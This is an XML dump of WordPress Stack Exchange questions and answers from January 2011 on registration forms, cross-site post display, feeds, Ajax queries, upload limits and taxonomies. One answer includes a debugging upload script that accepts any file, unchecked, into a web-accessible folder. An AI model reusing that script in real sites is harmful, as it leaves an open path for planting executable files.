bla bla...';&#xA;&#xA;    if(empty($sanitized_user_login) || !validate_username($user_login)) $errors[] = 'invalid user name';&#xA;    elseif(username_exists($sanitized_user_login)) $errors[] = 'user name already exists';&#xA;&#xA;    if(empty($errors)):&#xA;      $user_pass = wp_generate_password();&#xA;      $user_id = wp_create_user($sanitized_user_login, $user_pass, $user_email);&#xA;&#xA;      if(!$user_id):&#xA;        $errors[] = 'registration failed...';&#xA;      else:&#xA;        update_user_option($user_id, 'default_password_nag', true, true);&#xA;        wp_new_user_notification($user_id, $user_pass);&#xA;      endif;&#xA;    endif;&#xA;&#xA;    if(!empty($errors)) define('REGISTRATION_ERROR', serialize($errors));&#xA;    else define('REGISTERED_A_USER', $user_email);&#xA;  endif;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the code is almost identical to the one from the user signup page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then add your form in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  if(defined('REGISTRATION_ERROR'))&#xA;    foreach(unserialize(REGISTRATION_ERROR) as $error)&#xA;      echo &quot;&amp;lt;div class=\&quot;error\&quot;&amp;gt;{$error}&amp;lt;/div&amp;gt;&quot;;&#xA;  // errors here, if any&#xA;&#xA;  elseif(defined('REGISTERED_A_USER'))&#xA;    echo 'a email has been sent to '.REGISTERED_A_USER;&#xA;?&amp;gt;&#xA;&amp;lt;form method=&quot;post&quot; action=&quot;&amp;lt;?php echo add_query_arg('do', 'register', home_url('/')); ?&amp;gt;&quot;&amp;gt;&#xA;  &amp;lt;label&amp;gt;&#xA;    User:&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;user&quot; value=&quot;&quot;/&amp;gt;&#xA;  &amp;lt;/label&amp;gt;&#xA;&#xA;  &amp;lt;label&amp;gt;&#xA;    Email:&#xA;   &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;&quot; /&amp;gt;&#xA;  &amp;lt;/label&amp;gt;&#xA;&#xA;  &amp;lt;label&amp;gt;&#xA;    Delete this text:&#xA;   &amp;lt;input type=&quot;text&quot; name=&quot;spam&quot; value=&quot;some_crappy_spam_protection&quot; /&amp;gt;&#xA;  &amp;lt;/label&amp;gt;&#xA;&#xA;  &amp;lt;input type=&quot;submit&quot; value=&quot;register&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can either create a widget with this, a shortcode or just the usual page template...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-18T03:02:01.353" CommentCount="2" />
  <row Id="7152" PostTypeId="1" AcceptedAnswerId="7154" CreationDate="2011-01-18T05:18:28.787" Score="3" ViewCount="249" Body="&lt;p&gt;I have two totally separate WP websites setup.  Different domains, different databases.  I manage both of them and they are both hosted on a dedicated server.  I am trying to include some basic content that requires just a tad more than an RSS feed.  I need to pull data from SITE-1 and display it on SITE-2, using basic WP formatting from a loop.  Everywhere I've looked makes it seem impossible.  I've tried calling wp-load.php but can't get it to work, and am not sure if it is even the right way to go.  I have access to both sites' root servers, and even the server root if necessary.  Is there anyway to do this?  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2011-01-18T08:19:12.710" Title="Displaying content from one WP site on separate WP site" Tags="&lt;database&gt;&lt;outside-wordpress&gt;&lt;wp-load.php&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="7153" PostTypeId="2" ParentId="7148" CreationDate="2011-01-18T05:57:22.790" Score="1" ViewCount="" Body="&lt;p&gt;Create a empty page called &quot;Blog&quot;, go in Settings &gt; Reading and select &quot;Blog&quot; as the Posts page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add the &quot;Blog&quot; page in your custom menu (Appearance &gt; Menus). Create a custom menu if you didn't already do so...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-18T05:57:22.790" CommentCount="2" />
  <row Id="7154" PostTypeId="2" ParentId="7152" CreationDate="2011-01-18T07:07:22.067" Score="3" ViewCount="" Body="&lt;p&gt;Yeah&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb2 = new wpdb('dbuser', 'dbpassword', 'dbname', 'dbhost');&#xA;&#xA;// get 10 posts, assuming the other WordPress db table prefix is &quot;wp_&quot;&#xA;$query = &quot;SELECT post_title, guid FROM wp_posts&#xA;          WHERE post_status = 'publish'&#xA;           AND post_type = 'post'&#xA;          ORDER BY post_date DESC LIMIT 10&quot;;&#xA;&#xA;$someposts = $wpdb2-&amp;gt;get_results($query, OBJECT);&#xA;foreach($someposts as $somepost)&#xA;  echo &quot;&amp;lt;a href=\&quot;{$somepost-&amp;gt;guid}\&quot;&amp;gt;{$somepost-&amp;gt;post_title}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another way is to use the &lt;a href=&quot;http://codex.wordpress.org/HTTP_API&quot; rel=&quot;nofollow&quot;&gt;HTTP api&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code in your first site, where you want to display the data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$send = array(&#xA;  'body' =&amp;gt; array(&#xA;    'action' =&amp;gt; 'get_some_posts',&#xA;    // send other data here, maybe a user/password if you're querying senstive data&#xA;  ),&#xA;  'user-agent' =&amp;gt; 'RodeoRamsey; '.get_bloginfo('url')&#xA;);&#xA;&#xA;$response = wp_remote_post('http://yoursiteurl.com/', $send);&#xA;  if (!is_wp_error($response) &amp;amp;&amp;amp; ($response['response']['code'] == 200)) echo $response['body'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code in your second site, in the theme's functions.php (or create a plugin):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('template_redirect', 'process_post_request');&#xA;function process_post_request(){&#xA;  if($_POST['action'] == 'get_some_posts'):&#xA;    $posts = new WP_Query();&#xA;    $query = array('posts_per_page' =&amp;gt; 10);&#xA;    $posts-&amp;gt;query($query);&#xA;    while ($posts-&amp;gt;have_posts()):&#xA;      $posts-&amp;gt;the_post(); // here's the usual loop&#xA;      ?&amp;gt;&#xA;&#xA;      &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;      &amp;lt;?php the_content(); ?&amp;gt;&#xA;&#xA;      &amp;lt;?php&#xA;   endwhile;&#xA;   die();&#xA;  endif;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 2nd method is easier and more flexible from the &quot;formatting&quot; perspective. For example here you could easily echo the post thumbnail as html, while using the database approach it would be very hard for you to get the link to the thumbnail image...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-01-18T07:43:24.647" LastActivityDate="2011-01-18T07:43:24.647" CommentCount="12" />
  <row Id="7155" PostTypeId="2" ParentId="7142" CreationDate="2011-01-18T07:09:13.077" Score="0" ViewCount="" Body="&lt;p&gt;It seems like copy/paste gone wrong - both your variables point to same URL link and so &lt;code&gt;file_exists()&lt;/code&gt; fails because it expects local path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change &lt;code&gt;$myStyleFile&lt;/code&gt; to local path and it should work.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-18T07:09:13.077" CommentCount="1" />
  <row Id="7156" PostTypeId="1" CreationDate="2011-01-18T08:06:21.353" Score="0" ViewCount="138" Body="&lt;p&gt;Currently with organize series plugin author level user cannot manage their own series. I am trying to add feature to the plugin so that author level user can create &amp;amp; manage their own post and admin and editor can manage all series post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a little bit searching I have found that that can be done by creating a 'series owner' metadata for series taxonomy and filter by this 'series owner=authorid' to show &amp;amp; manage authors' own post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For adding meta for series taxonomy I have found some tuts and plugin wordpress.org/extend/plugins/taxonomy-metadata/ and shibashake.com/wordpress-theme/add-term-or-taxonomy-meta-data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now how can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1581" LastActivityDate="2011-08-17T22:26:10.947" Title="'Organize Series Plugin' as muti author feature" Tags="&lt;plugins&gt;&lt;custom-taxonomy&gt;&lt;posts&gt;" AnswerCount="1" />
  <row Id="7157" PostTypeId="2" ParentId="6906" CreationDate="2011-01-18T08:18:20.730" Score="1" ViewCount="" Body="&lt;p&gt;I think I understand what you want, and the problem you are having. I don't have code, but can point you toward some useful resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how you are inserting an image into your excerpts on the homepage. My guess is that you are using the More tag in the post editor, inserted after the first paragraph + picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, many templates use the Post Excerpts Function, which will retrieve text from a post, but not include an image. If your template can/does support this, it might be preferable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These 2 methods (The More Tag vs Post Excepts Function)  are described here:&#xA;&lt;a href=&quot;http://www.problogdesign.com/how-to/the-2-methods-of-showing-excerpts/&quot; rel=&quot;nofollow&quot;&gt;http://www.problogdesign.com/how-to/the-2-methods-of-showing-excerpts/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achive the result you desire, I think you might want to use a feature called Post Thumbnail (dating from WordPress 2.9 and which must be enabled in your template). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Post Thumbnail &lt;strong&gt;is&lt;/strong&gt; enabled in your template, it is simple to designate a post thumbnail for each post (when you write/edit the post in the WordPress dashboard). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To retrieve that designated Post Thumbnail, your template index page PHP could get the thumbnail image using the function the_post_thumbnail (search if it in the Codex; I don't have privileges to use links here)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can hyperlink that image using get_post_meta also as described in the Codex. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Codex you will find a good example that will demo how to test for the presence of a thumbnail, then use the thumbnail with a hyperlink to the full post. Please search the Codex for get_post_meta look for &quot;Simple Loop Example&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="2525" LastActivityDate="2011-01-18T08:18:20.730" CommentCount="1" />
  <row Id="7158" PostTypeId="2" ParentId="7152" CreationDate="2011-01-18T08:19:12.710" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@RodeoRamsey:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your question is very similar to this question:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/6190/getting-post-thumbnails-from-another-wp-site/6208#6208&quot;&gt;&lt;strong&gt;Getting post-thumbnails from another WP site&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Basically you just need to created the &lt;code&gt;$wpdb&lt;/code&gt; using the security credentials for your other site. Take a look at my answer on that question and let me know if it does or does not answer your question, and if not why so I might be able to provide a better answer.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-18T08:19:12.710" />
  <row Id="7159" PostTypeId="1" AcceptedAnswerId="7160" CreationDate="2011-01-18T08:56:55.797" Score="0" ViewCount="128" Body="&lt;p&gt;I am trying to add a RSS link on my website archive-pages, which means,&#xA;Suppose I am on page &lt;code&gt;http://mbas.in/location/mba-in-usa/&lt;/code&gt; then on this page, I will be having a &lt;strong&gt;RSS LINK&lt;/strong&gt; named link, when I click on this link, it should redirect me to &lt;code&gt;http://mbas.in/location/mba-in-usa/feed&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When anyone navigates through my archive-pages, they will get RSS FEED OF THAT PAGE just by clicking one link,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for this I tried the following code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php get_permalink(); ?&amp;gt;/feed&quot;&amp;gt;RSS feed of this page&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I am not getting that, instead its giving me &lt;code&gt;http://mbas.in/feed&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-01-18T12:10:55.973" Title="RSS feed link on archives page not working" Tags="&lt;permalinks&gt;&lt;rss&gt;" AnswerCount="1" />
  <row Id="7160" PostTypeId="2" ParentId="7159" CreationDate="2011-01-18T09:05:23.947" Score="1" ViewCount="" Body="&lt;p&gt;I made a mess of this in comments, so will start from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The feed links for archive pages are usually only outputted for browser detection by &lt;code&gt;feed_links_extra()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From looking at its source there is number of different function to get link for the archive pages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;get_category_feed_link( $cat_id )&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;get_tag_feed_link( $tag_id )&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;get_term_feed_link( $term_id, $taxonomy )&lt;/code&gt; (this one I found separately, not currently used in automatic feed links).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So catch-all archive feed link that will work for any taxonomy (including categories and terms) can be built like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function archive_feed_link() {&#xA;&#xA;    if( is_archive() ) {&#xA;&#xA;        global $wp_query;&#xA;&#xA;        $taxonomy = $wp_query-&amp;gt;get_queried_object();&#xA;&#xA;        return get_term_feed_link( $taxonomy-&amp;gt;term_id, $taxonomy-&amp;gt;taxonomy );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-18T12:10:55.973" LastActivityDate="2011-01-18T12:10:55.973" CommentCount="7" />
  <row Id="7161" PostTypeId="1" AcceptedAnswerId="7162" CreationDate="2011-01-18T09:07:54.343" Score="0" ViewCount="155" Body="&lt;p&gt;This the url format: &lt;code&gt;www.mysite.com/pageone&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get the page name? what is the wordpress function/method for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bloginfo('name') return the site name. I want the function that returns (return not echo) the name of the current page.&lt;/p&gt;&#xA;" OwnerUserId="2553" LastEditorUserId="2553" LastEditorDisplayName="" LastEditDate="2011-01-18T09:15:22.880" LastActivityDate="2011-01-18T09:24:22.963" Title="return page name in url" Tags="&lt;page&gt;&lt;urls&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7162" PostTypeId="2" ParentId="7161" CreationDate="2011-01-18T09:24:22.963" Score="1" ViewCount="" Body="&lt;p&gt;To display title of current page you use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_title&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_title()&lt;/code&gt;&lt;/a&gt; template tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related and slightly more specific functions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_the_title&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_title()&lt;/code&gt;&lt;/a&gt; that returns title without echoing and can retrieve title of another page/post, given its ID as input;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/the_title_attribute&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_title_attribute()&lt;/code&gt;&lt;/a&gt; that returns a little more cleaned up version (safer to use in link titles without breaking markup and such) and takes arguments in query string format.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-18T09:24:22.963" CommentCount="4" />
  <row Id="7163" PostTypeId="1" CreationDate="2011-01-18T10:11:06.513" Score="0" ViewCount="215" Body="&lt;p&gt;I am having a problem with an ajax request for a single post, when the user is not logged in. The post is a calendar date and is in the future. the query works fine if I am logged into wordpress but doesn't when I am logged out. This type of query also works when there is no ajax involved, for example if I want to display all future dates in a category page. Do I need to fire up an instance of wpdb to get the results? Must be a permission thing but cant find any answers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ajax_get_date_post() &#xA;{&#xA;    // get the submitted parameters&#xA;    $post_id = $_POST['post_id'];&#xA;&#xA;    $args = array(&#xA;        'post_type' =&amp;gt; 'mandy_dates',&#xA;        'p' =&amp;gt; $post_id,&#xA;        'post_status' =&amp;gt; 'future,publish'&#xA;    );&#xA;&#xA;    // build and make query&#xA;    $clicked_date =  new WP_Query( $args );&#xA;&#xA;    // response output&#xA;    header( &quot;Content-Type: application/html&quot; );&#xA;    if ( $clicked_date-&amp;gt;have_posts() ) {&#xA;        while ( $clicked_date-&amp;gt;have_posts() ) {&#xA;            $clicked_date-&amp;gt;the_post();&#xA;            include( $this-&amp;gt;get_single_post_template_path() );&#xA;        }&#xA;    } else {&#xA;        echo &quot;Sorry, Date not found&quot;;&#xA;    }&#xA;&#xA;    exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;these are the hooks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_action( 'wp_ajax_nopriv_ajax_get_date_post', array(&amp;amp;$this, &quot;ajax_get_date_post&quot;) );&#xA;    add_action( 'wp_ajax_ajax_get_date_post', array(&amp;amp;$this, &quot;ajax_get_date_post&quot;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is the Ajax JS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ajax_get_post( _id ) &#xA;{&#xA;    $.post(&#xA;        mandy_dates_js_config.ajaxurl,&#xA;        {&#xA;            action : 'ajax_get_date_post',&#xA;            post_id : _id&#xA;        },&#xA;        function( response ) {&#xA;            on_date_loaded( response );&#xA;        }&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured it out. modified the &quot;show-future-posts-on-single-post&quot; to work in my ajax request, here the updated code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ajax_get_date_post() &#xA;{&#xA;    // get the submitted parameters&#xA;    $post_id = $_POST['post_id'];&#xA;&#xA;    $args = array(&#xA;        'post_type' =&amp;gt; 'mandy_dates',&#xA;        'p'         =&amp;gt; $post_id&#xA;        // 'post_status' =&amp;gt; 'future,publish'&#xA;    );&#xA;&#xA;    // build and make query&#xA;    $this-&amp;gt;clicked_date = new WP_Query();&#xA;&#xA;    add_filter( 'the_posts', array( &amp;amp;$this,'show_future_posts') );&#xA;    $this-&amp;gt;clicked_date-&amp;gt;query( $args );&#xA;    remove_filter( 'the_posts', array(&amp;amp;$this,'show_future_posts') );&#xA;&#xA;    // response output&#xA;    header( &quot;Content-Type: application/html&quot; );&#xA;    if ( $this-&amp;gt;clicked_date-&amp;gt;have_posts() ) {&#xA;        while ( $this-&amp;gt;clicked_date-&amp;gt;have_posts() ) {&#xA;            $this-&amp;gt;clicked_date-&amp;gt;the_post();&#xA;            include( $this-&amp;gt;get_single_post_template_path() );&#xA;        }&#xA;    } else {&#xA;        echo &quot;Sorry, Date not found&quot;;&#xA;    }&#xA;&#xA;    exit;&#xA;}&#xA;&#xA;function show_future_posts( $posts )&#xA;{&#xA;    global $wpdb;&#xA;&#xA;    if( $this-&amp;gt;clicked_date-&amp;gt;post_count == 0 ) {&#xA;        $posts = $wpdb-&amp;gt;get_results($this-&amp;gt;clicked_date-&amp;gt;request);&#xA;    }&#xA;&#xA;    return $posts;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2554" LastEditorUserId="2554" LastEditorDisplayName="" LastEditDate="2011-01-18T23:53:28.197" LastActivityDate="2011-01-18T23:53:28.197" Title="Ajax future single post query doesn't work when NOT logged in" Tags="&lt;wp-query&gt;&lt;ajax&gt;&lt;wpdb&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="7164" PostTypeId="1" AcceptedAnswerId="7166" CreationDate="2011-01-18T10:11:34.067" Score="0" ViewCount="93" Body="&lt;p&gt;This is sort of complicated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for some php help related to WordPress blog. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic requirement is that some HTML code (ad code) is not supposed to run on posts with a specific tag. In simple terms... I do not want to run ads in posts which have a specific tag! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can it be accomplished? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this would use this WordPress function: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/has_tag&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/has_tag&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not very proficient at PHP. I suppose this can be easily used to run specific code if the post has a specific tag. I want to do the opposite! &lt;/p&gt;&#xA;" OwnerUserId="1945" LastEditorUserId="1945" LastEditorDisplayName="" LastEditDate="2011-01-18T10:19:47.083" LastActivityDate="2011-01-18T11:30:48.817" Title="Do not run this code on posts with a specific tag!" Tags="&lt;php&gt;&lt;html&gt;&lt;tags&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="7166" PostTypeId="2" ParentId="7164" CreationDate="2011-01-18T10:28:03.853" Score="1" ViewCount="" Body="&lt;p&gt;This is more of basic PHP. You are correct in choice of function, you merely need to reverse the condition with &lt;a href=&quot;http://php.net/manual/en/language.operators.logical.php&quot; rel=&quot;nofollow&quot;&gt;logical &lt;em&gt;Not&lt;/em&gt; operator&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( !has_tag('test') ) {&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-18T11:30:48.817" LastActivityDate="2011-01-18T11:30:48.817" CommentCount="7" />
  <row Id="7167" PostTypeId="2" ParentId="7111" CreationDate="2011-01-18T10:53:04.513" Score="1" ViewCount="" Body="&lt;p&gt;Are you on shared hosting by any chance? Shared hosts tend to limit the max uploadable file size on their end and there is nothing you can add to your scripts to change that. If not, then I am mistaken and this is not the solution you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you are on shared hosting it might pay to contact them and ask them the max allowed file sizes they allow their shared hosting accounts to have. Some hosts however let you create a php.ini file, drop it into your site root directory set some hosting variables like upload limits, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try creating a file called 'php.ini' without the quotes and put in the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;upload_max_filesize = 64M  &#xA;post_max_size = 64M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then place the php.ini file you just created into your Wordpress root directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good way to see if it is your host or Wordpress installation is to create a simple file uploading test and then try uploading the same file. If you have the same issue, it isn't Wordpress and is your server configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a page called &quot;file.php&quot; and then add in the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form enctype=&quot;multipart/form-data&quot; action=&quot;upload.php&quot; method=&quot;POST&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;MAX_FILE_SIZE&quot; value=&quot;512000&quot; /&amp;gt;&#xA;    Send this file: &amp;lt;input name=&quot;userfile&quot; type=&quot;file&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Send File&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now create a file called &quot;upload.php&quot; and add in the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    $uploaddir = 'uploads';&#xA;    $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);&#xA;&#xA;    echo &quot;&amp;lt;p&amp;gt;&quot;;&#xA;&#xA;    if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {&#xA;      echo &quot;File is valid, and was successfully uploaded.\n&quot;;&#xA;    } else {&#xA;       echo &quot;Upload failed&quot;;&#xA;    }&#xA;&#xA;    echo &quot;&amp;lt;/p&amp;gt;&quot;;&#xA;    echo '&amp;lt;pre&amp;gt;';&#xA;    echo 'Here is some more debugging info:';&#xA;    print_r($_FILES);&#xA;    print &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example code taken from here: &lt;a href=&quot;http://snippets.dzone.com/posts/show/3729&quot; rel=&quot;nofollow&quot;&gt;http://snippets.dzone.com/posts/show/3729&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now see if that lets you upload a large file. If not, then we'll further try and debug your Wordpress installation to try and rectify the issue.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastEditorUserId="1687" LastEditorDisplayName="" LastEditDate="2011-01-19T00:57:14.747" LastActivityDate="2011-01-19T00:57:14.747" CommentCount="6" />
  <row Id="7168" PostTypeId="1" AcceptedAnswerId="7171" CreationDate="2011-01-18T11:14:41.547" Score="1" ViewCount="345" Body="&lt;p&gt;Wordpress default taxonomy (Categories) has the item Uncategorized by default. How to add a default item to a new custom taxonomy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// === CUSTOM TAXONOMIES === //&#xA;function my_custom_taxonomies() {&#xA;    register_taxonomy(&#xA;        'block',        // internal name = machine-readable taxonomy name&#xA;        'static_content',       // object type = post, page, link, or custom post-type&#xA;        array(&#xA;            'hierarchical' =&amp;gt; true,&#xA;            'labels' =&amp;gt; array(&#xA;                'name' =&amp;gt; __( 'Blocks' ),&#xA;                'singular_name' =&amp;gt; __( 'Block' ),&#xA;                'add_new_item' =&amp;gt; 'Add New Block',&#xA;                'edit_item' =&amp;gt; 'Edit Block',&#xA;                'new_item' =&amp;gt; 'New Block',&#xA;                'search_items' =&amp;gt; 'Search Block',&#xA;                'not_found' =&amp;gt; 'No Block found',&#xA;                'not_found_in_trash' =&amp;gt; 'No Block found in trash',&#xA;            ),&#xA;            'query_var' =&amp;gt; true,    // enable taxonomy-specific querying&#xA;            'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'block' ),    // pretty permalinks for your taxonomy?&#xA;        )&#xA;    );&#xA;}&#xA;add_action('init', 'my_custom_taxonomies', 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: I just want to have the taxonomy item there when the theme is installed. It doesn't have to automatically be added to any empty term&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-01-18T12:12:14.990" LastActivityDate="2011-01-18T17:59:31.483" Title="How to add a default item to a custom taxonomy?" Tags="&lt;taxonomy&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="7169" PostTypeId="2" ParentId="6783" CreationDate="2011-01-18T11:32:17.473" Score="0" ViewCount="" Body="&lt;p&gt;I have deleted that entry from the table but my home page is still being redirected to a newly added contact me page. Any further help on this?&lt;/p&gt;&#xA;" LastActivityDate="2011-01-18T11:32:17.473" CommentCount="1" />
  <row Id="7170" PostTypeId="2" ParentId="7168" CreationDate="2011-01-18T11:41:28.973" Score="2" ViewCount="" Body="&lt;p&gt;Default category is hardcoded case in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_insert_post()&lt;/code&gt;&lt;/a&gt; function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it can't be replicated exactly, but you can handle it in other ways. I'd try to hook into &lt;a href=&quot;http://codex.wordpress.org/Post_Status_Transitions&quot; rel=&quot;nofollow&quot;&gt;post status transition&lt;/a&gt; for new posts and assign wanted default term if none were assigned during post creation.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-18T11:41:28.973" />
